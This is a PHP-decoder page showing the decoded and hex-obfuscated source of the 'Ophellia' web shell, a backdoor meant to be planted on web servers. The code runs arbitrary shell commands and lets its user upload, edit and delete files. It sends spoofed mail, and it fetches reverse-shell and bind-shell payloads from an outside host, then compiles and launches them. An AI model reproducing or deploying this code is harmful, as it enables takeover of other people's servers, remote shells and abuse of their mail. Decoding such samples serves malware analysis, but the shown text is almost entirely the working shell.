Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* Ophellia Webshell v1.3.1 - 'Neko Hacker' ..
Decoded Output download
<?php
/*
Ophellia Webshell
v1.3.1 - 'Neko Hacker'
copyright @elliottophellia
illegal use is prohibited
github.com/elliottophellia/ophellia
*/
$pass = '4224a581bd4cf8d705fac8cc86e92113'; // nekohacker
function pytsguwjfk($rr)
{
$xx = '';
for ($c = 0; $c < strlen($rr); $c += 2) {
$xx .= chr(hexdec($rr[$c] . $rr[$c + 1]));
}
return $xx;
}
function hgijkvlofw($string)
{
$hex = '';
for ($i = 0; $i < strlen($string); $i++) $hex .= dechex(ord($string[$i]));
return $hex;
}
function dpbizmlwsg($f, $t)
{
$w = @fopen($f, "w") or @"function_exists"('file_put_contents');
if ($w) {
@fwrite($w, $t) or @fputs($w, $t) or @"file_put_contents"($f, $t);
@fclose($w);
}
}
function urketafwsv($file)
{
$a = ["B", "KB", "MB", "GB", "TB", "PB"];
$size = "filesize"($file);
$pos = min((int)log($size, 1024), count($a) - 1);
$size /= pow(1024, $pos);
return round($size, 2) . " " . $a[$pos];
}
function cjiudqxmft($file)
{
return date("d/m/y - H:i:s", "filemtime"($file));
}
function dqulxwriyk($file)
{
if ($perms = @"fileperms"($file)) {
$flag = '-';
$flagTypes = [0xC000 => 's', 0xA000 => 'l', 0x8000 => '-', 0x6000 => 'b', 0x4000 => 'd', 0x2000 => 'c', 0x1000 => 'p',];
foreach ($flagTypes as $mask => $type) {
if (($perms & $mask) == $mask) {
$flag = $type;
break;
}
}
$permissions = [00400 => 'r', 00200 => 'w', 00100 => 'x', 00040 => 'r', 00020 => 'w', 00010 => 'x', 00004 => 'r', 00002 => 'w', 00001 => 'x',];
foreach ($permissions as $mask => $permission) {
$flag .= ($perms & $mask) ? $permission : '-';
}
return $flag;
} else {
return substr(sprintf('%o', filedqulxwriyk($file)), -4);
}
}
function rkbazswnuv($item)
{
$downer = "function_exists"("posix_getpwuid") ? @"posix_getpwuid"("fileowner"($item))['name'] : "fileowner"($item);
$dgrp = "function_exists"("posix_getgrgid") ? @"posix_getpwuid"("filegroup"($item))['name'] : "filegroup"($item);
return $downer . '/' . $dgrp;
}
function xyjceuqbzp($file)
{
$gtyp = ("function_exists"('mime_content_type')) ? "mime_content_type"($file) : "filetype"($file);
return $gtyp;
}
"error_reporting"(0);
"set_time_limit"(0);
"ob_start"();
"ini_set"('max_execution_time', 0);
"ini_set"('output_buffering', 0);
"session_start"();
echo '<html><head><title>o p h e l l i a</title><meta name="viewport" content="width=device-width,initial-scale=1"></head><style>@import url(//rei.my.id/style.css);</style><body>';
if ("md5"(${"_POST"}['pass']) == $pass) {
"session_start"();
${"_SESSION"}['pass'] = $pass;
}
if (isset(${"_SESSION"}['pass']) == $pass) {
if ("ini_get"('safe_mode')) {
$Safe = "<b>ON</b>";
} else {
$Safe = "<b>OFF</b>";
}
if (isset(${"_GET"}['d'])) {
$path = pytsguwjfk(${"_GET"}['d']);
"chdir"(pytsguwjfk(${"_GET"}['d']));
} else {
$path = "getcwd"();
}
if (isset($mkdir)) {
$mkdir = $path . "/" . ${"_GET"}['mkdir'];
}
if (isset($mkfile)) {
$mkfile = $path . "/" . ${"_GET"}['mkfile'];
}
$f = pytsguwjfk(${"_GET"}['f']);
$fedit = pytsguwjfk(${"_GET"}['fedit']);
$gwejh = "stripslashes"(${"_POST"}['gwejh']);
$mkdir = ${"_GET"}['mkdir'];
$tools = ${"_GET"}['t'];
$rmdir = pytsguwjfk(${"_GET"}['rmdir']);
$mkfile = ${"_GET"}['mkfile'];
$cndir = ${"_GET"}['cndir'];
$file = ${"_SERVER"}['PHP_SELF'];
$root = ${"_SERVER"}['DOCUMENT_ROOT'];
$bytes = "disk_free_space"(".");
$rfile = pytsguwjfk(${"_GET"}['rfile']);
$rename = ${"_GET"}['rename'];
$path = "str_replace"('\', '/', $path);
$si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
$class = min((int)log($bytes, 1024), count($si_prefix) - 1);
$size = sprintf('%1.2f', $bytes / pow(1024, $class)) . ' ' . $si_prefix[$class];
echo '<a href="?"><img src="//bit.ly/ophelliaa" width="380" /></a><br /><button><a href="?"><b>HOME</b><a></button> <button><a href="' . $file . '?t=' . hgijkvlofw('upload') . '&d=' . hgijkvlofw($path) . '"><b>UPLOAD</b></a></button> <button><a href="' . $file . '?t=' . hgijkvlofw('network') . '&d=' . hgijkvlofw($path) . '"><b>NETWORK</b></a></button> <button><a href="' . $file . '?t=' . hgijkvlofw('mailer') . '&d=' . hgijkvlofw($path) . '"><b>MAILER</b></a></button> <button><a href="' . $file . '?t=' . hgijkvlofw('info') . '&d=' . hgijkvlofw($path) . '"><b>INFO</b></a></button> <button><a href="' . $file . '?exit"><b>LOGOUT</b></a></button><br /><form method="post" action=""><input id="ememm" type="text" name="gwejh" value="uname -a"> <input type="submit" value="X" /></form><br /><form method="get" action=""><input id="emem" type="text" name="mkfile" value="CreateFile.php"> <input type="hidden" name="d" value="' . hgijkvlofw($path) . '"> <input type="submit" value="X" /></form><form method="get" action=""><input id="emem" type="text" name="mkdir" placeholder="CreateDir"> <input type="hidden" name="d" value="' . hgijkvlofw($path) . '"><input type="submit" value="X" /></form><br /><form method="get" action=""><input id="ememm" type="text" name="cndir" value=' . $path . '> <input type="submit" value="X" /></form>';
if (isset($gwejh)) {
if (!empty($gwejh)) {
echo "<textarea rows=\"15\" name=\"text\" readonly>";
echo "shell_exec"($gwejh);
echo "</textarea>";
}
}
if (isset($tools)) {
if (pytsguwjfk($tools) == 'network') {
$pty = "file_get_contents"('https://rei.my.id/back_connect/python.txt');
$rby = "file_get_contents"('https://rei.my.id/back_connect/ruby.txt');
$bcc = "file_get_contents"('https://rei.my.id/back_connect/c.txt');
$bcp = "file_get_contents"('https://rei.my.id/back_connect/perl.txt');
$bpc = "file_get_contents"('https://rei.my.id/bind_shell/c.txt');
$bpp = "file_get_contents"('https://rei.my.id/bind_shell/perl.txt');
echo '<h2>Network Tools</h2><h3>Bind Shell</h3><form method="post" action="">IP: <input type="text" name="ip" value="' . "gethostbyname"(${"_SERVER"}['HTTP_HOST']) . '" readonly> Port: <input type="text" name="port" value="31337"> Type: <select name="type"><option value="cb">C</option><option value="pb">Perl</option><option value="rbb">Ruby</option><option value="pyb">Python</option></select><input type="submit" value="Execute"/></form><br/><h3>Reverse Shell</h3><form method="post" action="">IP: <input type="text" name="ip" value=""> Port: <input type="text" name="port" value="31337"> Type: <select name="type"><option value="cbc">C</option><option value="pbc">Perl</option><option value="rbbc">Ruby</option><option value="pybc">Python</option></select><input type="submit" value="Execute"/></form>';
if (isset(${"_POST"}['type'])) {
if (${"_POST"}['type'] == 'cb') {
dpbizmlwsg('/tmp/cb.c', $bpc);
"shell_exec"('gcc -o /tmp/cb /tmp/cb.c');
"shell_exec"('/tmp/cb ' . ${"_POST"}['port'] . ' &');
echo "<pre>" . "shell_exec"('ps aux | grep cb') . "<pre>";
}
if (${"_POST"}['type'] == 'pb') {
dpbizmlwsg('/tmp/pb.pl', $bpp);
"shell_exec"('perl /tmp/pb.pl ' . ${"_POST"}['port'] . ' &');
echo "<pre>" . "shell_exec"('ps aux | grep pb') . "<pre>";
}
if (${"_POST"}['type'] == 'cbc') {
dpbizmlwsg('/tmp/cbc.c', $bcc);
"shell_exec"('gcc -o /tmp/cbc /tmp/cbc.c');
"shell_exec"('/tmp/cbc ' . ${"_POST"}['ip'] . ' ' . ${"_POST"}['port'] . ' &');
echo "<pre>" . "shell_exec"('ps aux | grep cbc') . "<pre>";
}
if (${"_POST"}['type'] == 'pbc') {
dpbizmlwsg('/tmp/pbc.pl', $bcp);
"shell_exec"('perl /tmp/pbc.pl ' . ${"_POST"}['ip'] . ' ' . ${"_POST"}['port'] . ' &');
echo "<pre>" . "shell_exec"('ps aux | grep pbc') . "<pre>";
}
if (${"_POST"}['type'] == 'rbb') {
dpbizmlwsg('/tmp/rbb.rb', $rby);
"shell_exec"('ruby /tmp/rbb.rb ' . ${"_POST"}['port'] . ' &');
echo "<pre>" . "shell_exec"('ps aux | grep rbb') . "<pre>";
}
if (${"_POST"}['type'] == 'rbbc') {
dpbizmlwsg('/tmp/rbbc.rb', $rby);
"shell_exec"('ruby /tmp/rbbc.rb ' . ${"_POST"}['port'] . ' ' . ${"_POST"}['ip'] . ' &');
echo "<pre>" . "shell_exec"('ps aux | grep rbbc') . "<pre>";
}
if (${"_POST"}['type'] == 'pyb') {
dpbizmlwsg('/tmp/pyb.py', $pty);
"shell_exec"('python /tmp/pyb.py ' . ${"_POST"}['port'] . ' &');
echo "<pre>" . "shell_exec"('ps aux | grep pyb') . "<pre>";
}
if (${"_POST"}['type'] == 'pybc') {
dpbizmlwsg('/tmp/pybc.py', $pty);
"shell_exec"('python /tmp/pybc.py ' . ${"_POST"}['port'] . ' ' . ${"_POST"}['ip'] . ' &');
echo "<pre>" . "shell_exec"('ps aux | grep pybc') . "<pre>";
}
}
die();
}
if (pytsguwjfk($tools) == 'mailer') {
echo '<h2>Mailer Tools</h2><form method="post" action="">From: <input type="text" name="from" value="ophellia@' . ${"_SERVER"}['SERVER_NAME'] . '"> To: <input type="text" name="to" value="[email protected]"> Subject: <input type="text" name="subject" value="im using your webshell!"><br><textarea name="message" style="width: 40%;" rows="15">my ip address is ' . ${"_SERVER"}['REMOTE_ADDR'] . '</textarea><br><input type="submit" value="Execute"/></form><pre>';
if (isset(${"_POST"}['from'])) {
$headers = "From: Ophellia <" . ${"_POST"}['from'] . ">" . PHP_EOL;
$headers .= "Reply-To: Ophellia <" . ${"_POST"}['from'] . ">" . PHP_EOL;
$headers .= "Return-Path: " . ${"_POST"}['from'] . PHP_EOL;
$headers .= "X-Mailer: Microsoft Outlook 16.0";
"mail"(${"_POST"}['to'], ${"_POST"}['subject'], ${"_POST"}['message'], $headers);
echo "Mail Sent !";
}
echo '</pre>';
die();
}
if (pytsguwjfk($tools) == 'upload') {
echo "<h2>Upload Tools</h2><form method='post' enctype='multipart/form-data'><div style='justify-content: center'><input type='radio' name='uploadtype' value='1' checked>current_dir [ $path ]<br/><input type='radio' name='uploadtype' value='2'>document_root [ $root ]</div><br/><input type='file' name='upload'> <input type='submit' value='upload' name='upload'></form><br/>";
if (isset(${"_POST"}['upload'])) {
if (${"_POST"}['uploadtype'] == 1) {
$tmp = $_FILES['upload']['tmp_name'];
$up = "basename"($_FILES['upload']['name']);
if ("move_uploaded_file"($tmp, $path . "/" . $up)) {
echo "<b>SUCCESSFULLY UPLOADED</b>";
} else {
echo "<b>FAILED TO UPLOAD FILE</b>";
}
} else {
$tmp = $_FILES['upload']['tmp_name'];
$up = "basename"($_FILES['upload']['name']);
if ("move_uploaded_file"($tmp, $root . "/" . $up)) {
echo "<b>SUCCESSFULLY UPLOADED</b>";
} else {
echo "<b>FAILED TO UPLOAD FILE</b>";
}
}
}
die();
}
if (pytsguwjfk($tools) == 'info') {
$disable_functions = (!empty(@"ini_get"('disable_functions'))) ? "<b>" . @"ini_get"('disable_functions') . "</b>" : "<b>NONE</b>";
echo "<div id=\"l\"><pre>System : " . @"php_uname"('a') . " " . ${"_SERVER"}['SERVER_SOFTWARE'] . "<br/>User : " . "get_current_user"() . "<br/>Free Space : $size<br/>Server IP : " . "gethostbyname"(${"_SERVER"}['HTTP_HOST']) . "<br/>Client IP : " . ${"_SERVER"}['REMOTE_ADDR'] . "<br/>Safe Mode : $Safe<br/>PHP Version : " . @"phpversion"() . "<br/>Disable Function : $disable_functions";
echo "</pre></div>";
die();
}
}
if (isset($rfile) and "is_writable"($rfile)) {
if ("unlink"($rfile)) {
echo ("<br/><b>File $rfile Deleted</b>");
} else {
echo ("<br/><b>File $rfile Not Deleted</b>");
}
}
if (isset($mkdir)) {
if (!empty($mkdir)) {
if (mkdir($mkdir, 0777, true)) {
echo "<br/><b>Directory $mkdir Created</b>";
} else {
echo "<br/><b>Directory $mkdir Not Created</b>";
}
} else {
echo "<br/><b>Can't create folder with empty name</b>";
}
}
if (isset($mkfile)) {
echo '<form method="post" action=""><textarea rows="25" name="ftext"></textarea><br><div id="l"><br/><input type="text" name="fname" value="' . $mkfile . '"\> <input type="submit" value="Save"\> <button><a href="' . $file . '?d=' . hgijkvlofw($path) . '">Back</a></button></div></form><br/>';
if (!empty(${"_POST"}['fname'])) {
if (${"_POST"}['fname'] && ${"_POST"}['ftext']) {
if ("file_put_contents"(${"_POST"}['fname'], ${"_POST"}['ftext'])) {
echo "<br/><b>File " . ${"_POST"}['fname'] . " Created</b>";
} else {
echo "<br/><b>File " . ${"_POST"}['fname'] . " Not Created</b>";
}
}
} else {
echo "<br/><b>Can't create file with empty name</b>";
}
}
if (isset($rmdir) and "is_writable"($rmdir)) {
if ("rmdir"($rmdir)) {
echo "<br/><b>Directory $rmdir Deleted</b>";
} else {
echo "<br/><b>Directory $rmdir Not Deleted</b>";
}
}
if (isset($cndir)) {
$dir = $cndir;
$rr = ${"_SERVER"}['SERVER_NAME'] . "$file?d=" . hgijkvlofw($dir);
header("Location: http://$rr");
}
if (isset($rename)) {
echo '<br/><br/><form method="post" action="">Old Name: <input type="text" name="oldname" value="' . pytsguwjfk(${"_GET"}['oldname']) . '" readonly> New Name: <input type="text" name="newname" value=""> <input type="submit" value="Execute"/> <button><a href="' . $file . '?d=' . hgijkvlofw($path) . '">Back</a></button></form><pre>';
if (${"_POST"}['oldname'] && ${"_POST"}['newname']) {
if (isset(${"_POST"}['oldname'])) {
rename(${"_POST"}['oldname'], ${"_POST"}['newname']);
echo '<b>Rename File Done.</b><br />';
} else {
echo '<b>Rename File Failed.</b><br />';
}
}
echo '</pre>';
}
if (isset($f) and "filemtime"($f)) {
$text = "htmlentities"("file_get_contents"($f));
echo '<textarea rows="25" name="text" readonly>' . $text . '</textarea><br/><br/><div id="l"><button><a href="' . $file . '?d=' . hgijkvlofw($path) . '">Back</a></button></div>';
}
if (isset($fedit) and "is_writable"($fedit)) {
$text = "htmlspecialchars"("file_get_contents"($fedit));
echo '<form method="post" action=""><textarea rows="25" name="text">' . $text . '</textarea><br><br/><div id="l"><input type="submit" value="Save"\> <button><a href="' . $file . '?d=' . hgijkvlofw($path) . '">Back</a></button></div></form><br/>';
if ("file_exists"($fedit)) {
if (isset(${"_POST"}['text'])) {
$write = fopen($fedit, 'w');
$new_text = "stripslashes"(${"_POST"}['text']);
if (fwrite($write, $new_text)) {
echo '<b>Edit File Done.</b><br />';
} else {
echo '<b>Edit File Failed.</b><br />';
}
fclose($write);
}
}
}
echo '<br /><table><thead><tr><th style="width:35%"> File Name </th><th style="width:7%"> Actions </th><th style="width:5%"> Filesize </th><th style="width:5%"> Filetype </th><th style="width:5%"> Permission </th><th style="width:8%"> Owner / Group </th><th style="width:8%"> Last Modified </th></tr></thead><tbody>';
foreach ("scandir"($path) as $files) {
if (!is_dir($files)) continue;
if ($files == ".." | $files == ".") {
echo "<tr>
<td><img src='//rei.my.id/fldr.png' /><b><a href='?d=" . hgijkvlofw("dirname"($path)) . "'>$files</a></b></td><td></td><td></td><td></td><td></td><td></td><td></td></tr>";
} else {
echo "<tr><td><img src='//rei.my.id/fldr.png' /><b><a href=$file?d=" . hgijkvlofw($path . '/' . $files) . ">$files</a></b></td><td id='c'> / <a href=$file?rmdir=" . hgijkvlofw($files) . "&d=" . hgijkvlofw($path) . ">RM</a> / <a href=?rename&oldname=" . hgijkvlofw($files) . "&d=" . hgijkvlofw($path) . ">CN</a></td>
<td id='c'>-</td>
<td id='c'>" . xyjceuqbzp($files) . "</td>
<td id='c'>" . dqulxwriyk($files) . "</td>
<td id='c'>" . rkbazswnuv($files) . "</td>
<td id='c'>" . cjiudqxmft($files) . "</td>
</tr>";
}
}
foreach ("scandir"($path) as $files) {
if (!is_file($files)) continue;
echo "<tr><td><img src='//rei.my.id/file.png' /><a href=$file?f=" . hgijkvlofw($files) . " &d=" . hgijkvlofw($path) . ">$files</a></td><td id='c'><a href=$file?fedit=" . hgijkvlofw($files) . "&d=" . hgijkvlofw($path) . ">ED</a> / <a href=$file?rfile=" . hgijkvlofw($files) . "&d=" . hgijkvlofw($path) . ">RM</a> / <a href=?rename&oldname=" . hgijkvlofw($files) . "&d=" . hgijkvlofw($path) . ">CN</a></td>
<td id='c'>" . urketafwsv($files) . "</td>
<td id='c'>" . xyjceuqbzp($files) . "</td>
<td id='c'>" . dqulxwriyk($files) . "</td>
<td id='c'>" . rkbazswnuv($files) . "</td>
<td id='c'>" . cjiudqxmft($files) . "</td>
</tr>";
}
echo "</tbody></table><div id='r'><a href='//github.com/elliottophellia'>@elliottophellia</a></div>";
if (isset(${"_GET"}['exit'])) {
unset(${"_SESSION"}['pass']);
echo "<script>window.location.href='?';</script>";
exit();
}
} else {
echo '<img src="//bit.ly/ophellia" width="200" /><br/><form action="" method="post"><input type="password" name="pass" style="border: none;"></form>';
}
header('X-Powered-By: Ophellia v1.3.1');
echo '</body></html>';
?>
Did this file decode correctly?
Original Code
<?php
/*
Ophellia Webshell
v1.3.1 - 'Neko Hacker'
copyright @elliottophellia
illegal use is prohibited
github.com/elliottophellia/ophellia
*/
$pass = '4224a581bd4cf8d705fac8cc86e92113'; // nekohacker
function pytsguwjfk($rr)
{
$xx = '';
for ($c = 0; $c < strlen($rr); $c += 2) {
$xx .= chr(hexdec($rr[$c] . $rr[$c + 1]));
}
return $xx;
}
function hgijkvlofw($string)
{
$hex = '';
for ($i = 0; $i < strlen($string); $i++) $hex .= dechex(ord($string[$i]));
return $hex;
}
function dpbizmlwsg($f, $t)
{
$w = @fopen($f, "w") or @"\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"('file_put_contents');
if ($w) {
@fwrite($w, $t) or @fputs($w, $t) or @"\x66\x69\x6C\x65\x5F\x70\x75\x74\x5F\x63\x6F\x6E\x74\x65\x6E\x74\x73"($f, $t);
@fclose($w);
}
}
function urketafwsv($file)
{
$a = ["B", "KB", "MB", "GB", "TB", "PB"];
$size = "\x66\x69\x6c\x65\x73\x69\x7a\x65"($file);
$pos = min((int)log($size, 1024), count($a) - 1);
$size /= pow(1024, $pos);
return round($size, 2) . " " . $a[$pos];
}
function cjiudqxmft($file)
{
return date("d/m/y - H:i:s", "\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65"($file));
}
function dqulxwriyk($file)
{
if ($perms = @"\x66\x69\x6c\x65\x70\x65\x72\x6d\x73"($file)) {
$flag = '-';
$flagTypes = [0xC000 => 's', 0xA000 => 'l', 0x8000 => '-', 0x6000 => 'b', 0x4000 => 'd', 0x2000 => 'c', 0x1000 => 'p',];
foreach ($flagTypes as $mask => $type) {
if (($perms & $mask) == $mask) {
$flag = $type;
break;
}
}
$permissions = [00400 => 'r', 00200 => 'w', 00100 => 'x', 00040 => 'r', 00020 => 'w', 00010 => 'x', 00004 => 'r', 00002 => 'w', 00001 => 'x',];
foreach ($permissions as $mask => $permission) {
$flag .= ($perms & $mask) ? $permission : '-';
}
return $flag;
} else {
return substr(sprintf('%o', filedqulxwriyk($file)), -4);
}
}
function rkbazswnuv($item)
{
$downer = "\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"("posix_getpwuid") ? @"\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x70\x77\x75\x69\x64"("\x66\x69\x6c\x65\x6f\x77\x6e\x65\x72"($item))['name'] : "\x66\x69\x6c\x65\x6f\x77\x6e\x65\x72"($item);
$dgrp = "\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"("posix_getgrgid") ? @"\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x70\x77\x75\x69\x64"("\x66\x69\x6c\x65\x67\x72\x6f\x75\x70"($item))['name'] : "\x66\x69\x6c\x65\x67\x72\x6f\x75\x70"($item);
return $downer . '/' . $dgrp;
}
function xyjceuqbzp($file)
{
$gtyp = ("\x66\x75\x6E\x63\x74\x69\x6F\x6E\x5F\x65\x78\x69\x73\x74\x73"('mime_content_type')) ? "\x6d\x69\x6d\x65\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x5f\x74\x79\x70\x65"($file) : "\x66\x69\x6c\x65\x74\x79\x70\x65"($file);
return $gtyp;
}
"\x65\x72\x72\x6F\x72\x5F\x72\x65\x70\x6F\x72\x74\x69\x6E\x67"(0);
"\x73\x65\x74\x5F\x74\x69\x6D\x65\x5F\x6C\x69\x6D\x69\x74"(0);
"\x6F\x62\x5F\x73\x74\x61\x72\x74"();
"\x69\x6E\x69\x5F\x73\x65\x74"('max_execution_time', 0);
"\x69\x6E\x69\x5F\x73\x65\x74"('output_buffering', 0);
"\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74"();
echo '<html><head><title>o p h e l l i a</title><meta name="viewport" content="width=device-width,initial-scale=1"></head><style>@import url(//rei.my.id/style.css);</style><body>';
if ("\x6D\x64\x35"(${"\x5f\x50\x4f\x53\x54"}['pass']) == $pass) {
"\x73\x65\x73\x73\x69\x6F\x6E\x5F\x73\x74\x61\x72\x74"();
${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass'] = $pass;
}
if (isset(${"\x5F\x53\x45\x53\x53\x49\x4F\x4E"}['pass']) == $pass) {
if ("\x69\x6E\x69\x5F\x67\x65\x74"('safe_mode')) {
$Safe = "<b>ON</b>";
} else {
$Safe = "<b>OFF</b>";
}
if (isset(${"\x5F\x47\x45\x54"}['d'])) {
$path = pytsguwjfk(${"\x5F\x47\x45\x54"}['d']);
"\x63\x68\x64\x69\x72"(pytsguwjfk(${"\x5F\x47\x45\x54"}['d']));
} else {
$path = "\x67\x65\x74\x63\x77\x64"();
}
if (isset($mkdir)) {
$mkdir = $path . "/" . ${"\x5F\x47\x45\x54"}['mkdir'];
}
if (isset($mkfile)) {
$mkfile = $path . "/" . ${"\x5F\x47\x45\x54"}['mkfile'];
}
$f = pytsguwjfk(${"\x5F\x47\x45\x54"}['f']);
$fedit = pytsguwjfk(${"\x5F\x47\x45\x54"}['fedit']);
$gwejh = "\x73\x74\x72\x69\x70\x73\x6c\x61\x73\x68\x65\x73"(${"\x5f\x50\x4f\x53\x54"}['gwejh']);
$mkdir = ${"\x5F\x47\x45\x54"}['mkdir'];
$tools = ${"\x5F\x47\x45\x54"}['t'];
$rmdir = pytsguwjfk(${"\x5F\x47\x45\x54"}['rmdir']);
$mkfile = ${"\x5F\x47\x45\x54"}['mkfile'];
$cndir = ${"\x5F\x47\x45\x54"}['cndir'];
$file = ${"\x5f\x53\x45\x52\x56\x45\x52"}['PHP_SELF'];
$root = ${"\x5f\x53\x45\x52\x56\x45\x52"}['DOCUMENT_ROOT'];
$bytes = "\x64\x69\x73\x6b\x5f\x66\x72\x65\x65\x5f\x73\x70\x61\x63\x65"(".");
$rfile = pytsguwjfk(${"\x5F\x47\x45\x54"}['rfile']);
$rename = ${"\x5F\x47\x45\x54"}['rename'];
$path = "\x73\x74\x72\x5f\x72\x65\x70\x6c\x61\x63\x65"('\\', '/', $path);
$si_prefix = array('B', 'KB', 'MB', 'GB', 'TB', 'EB', 'ZB', 'YB');
$class = min((int)log($bytes, 1024), count($si_prefix) - 1);
$size = sprintf('%1.2f', $bytes / pow(1024, $class)) . ' ' . $si_prefix[$class];
echo '<a href="?"><img src="//bit.ly/ophelliaa" width="380" /></a><br /><button><a href="?"><b>HOME</b><a></button> <button><a href="' . $file . '?t=' . hgijkvlofw('upload') . '&d=' . hgijkvlofw($path) . '"><b>UPLOAD</b></a></button> <button><a href="' . $file . '?t=' . hgijkvlofw('network') . '&d=' . hgijkvlofw($path) . '"><b>NETWORK</b></a></button> <button><a href="' . $file . '?t=' . hgijkvlofw('mailer') . '&d=' . hgijkvlofw($path) . '"><b>MAILER</b></a></button> <button><a href="' . $file . '?t=' . hgijkvlofw('info') . '&d=' . hgijkvlofw($path) . '"><b>INFO</b></a></button> <button><a href="' . $file . '?exit"><b>LOGOUT</b></a></button><br /><form method="post" action=""><input id="ememm" type="text" name="gwejh" value="uname -a"> <input type="submit" value="X" /></form><br /><form method="get" action=""><input id="emem" type="text" name="mkfile" value="CreateFile.php"> <input type="hidden" name="d" value="' . hgijkvlofw($path) . '"> <input type="submit" value="X" /></form><form method="get" action=""><input id="emem" type="text" name="mkdir" placeholder="CreateDir"> <input type="hidden" name="d" value="' . hgijkvlofw($path) . '"><input type="submit" value="X" /></form><br /><form method="get" action=""><input id="ememm" type="text" name="cndir" value=' . $path . '> <input type="submit" value="X" /></form>';
if (isset($gwejh)) {
if (!empty($gwejh)) {
echo "<textarea rows=\"15\" name=\"text\" readonly>";
echo "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"($gwejh);
echo "</textarea>";
}
}
if (isset($tools)) {
if (pytsguwjfk($tools) == 'network') {
$pty = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/back_connect/python.txt');
$rby = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/back_connect/ruby.txt');
$bcc = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/back_connect/c.txt');
$bcp = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/back_connect/perl.txt');
$bpc = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/bind_shell/c.txt');
$bpp = "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('https://rei.my.id/bind_shell/perl.txt');
echo '<h2>Network Tools</h2><h3>Bind Shell</h3><form method="post" action="">IP: <input type="text" name="ip" value="' . "\x67\x65\x74\x68\x6f\x73\x74\x62\x79\x6e\x61\x6d\x65"(${"\x5f\x53\x45\x52\x56\x45\x52"}['HTTP_HOST']) . '" readonly> Port: <input type="text" name="port" value="31337"> Type: <select name="type"><option value="cb">C</option><option value="pb">Perl</option><option value="rbb">Ruby</option><option value="pyb">Python</option></select><input type="submit" value="Execute"/></form><br/><h3>Reverse Shell</h3><form method="post" action="">IP: <input type="text" name="ip" value=""> Port: <input type="text" name="port" value="31337"> Type: <select name="type"><option value="cbc">C</option><option value="pbc">Perl</option><option value="rbbc">Ruby</option><option value="pybc">Python</option></select><input type="submit" value="Execute"/></form>';
if (isset(${"\x5f\x50\x4f\x53\x54"}['type'])) {
if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'cb') {
dpbizmlwsg('/tmp/cb.c', $bpc);
"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('gcc -o /tmp/cb /tmp/cb.c');
"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('/tmp/cb ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
echo "<pre>" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep cb') . "<pre>";
}
if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'pb') {
dpbizmlwsg('/tmp/pb.pl', $bpp);
"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('perl /tmp/pb.pl ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
echo "<pre>" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep pb') . "<pre>";
}
if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'cbc') {
dpbizmlwsg('/tmp/cbc.c', $bcc);
"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('gcc -o /tmp/cbc /tmp/cbc.c');
"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('/tmp/cbc ' . ${"\x5f\x50\x4f\x53\x54"}['ip'] . ' ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
echo "<pre>" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep cbc') . "<pre>";
}
if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'pbc') {
dpbizmlwsg('/tmp/pbc.pl', $bcp);
"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('perl /tmp/pbc.pl ' . ${"\x5f\x50\x4f\x53\x54"}['ip'] . ' ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
echo "<pre>" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep pbc') . "<pre>";
}
if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'rbb') {
dpbizmlwsg('/tmp/rbb.rb', $rby);
"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ruby /tmp/rbb.rb ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' &');
echo "<pre>" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep rbb') . "<pre>";
}
if (${"\x5f\x50\x4f\x53\x54"}['type'] == 'rbbc') {
dpbizmlwsg('/tmp/rbbc.rb', $rby);
"\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ruby /tmp/rbbc.rb ' . ${"\x5f\x50\x4f\x53\x54"}['port'] . ' ' . ${"\x5f\x50\x4f\x53\x54"}['ip'] . ' &');
echo "<pre>" . "\x73\x68\x65\x6C\x6C\x5F\x65\x78\x65\x63"('ps aux | grep rbbc') . "<pre>";
}
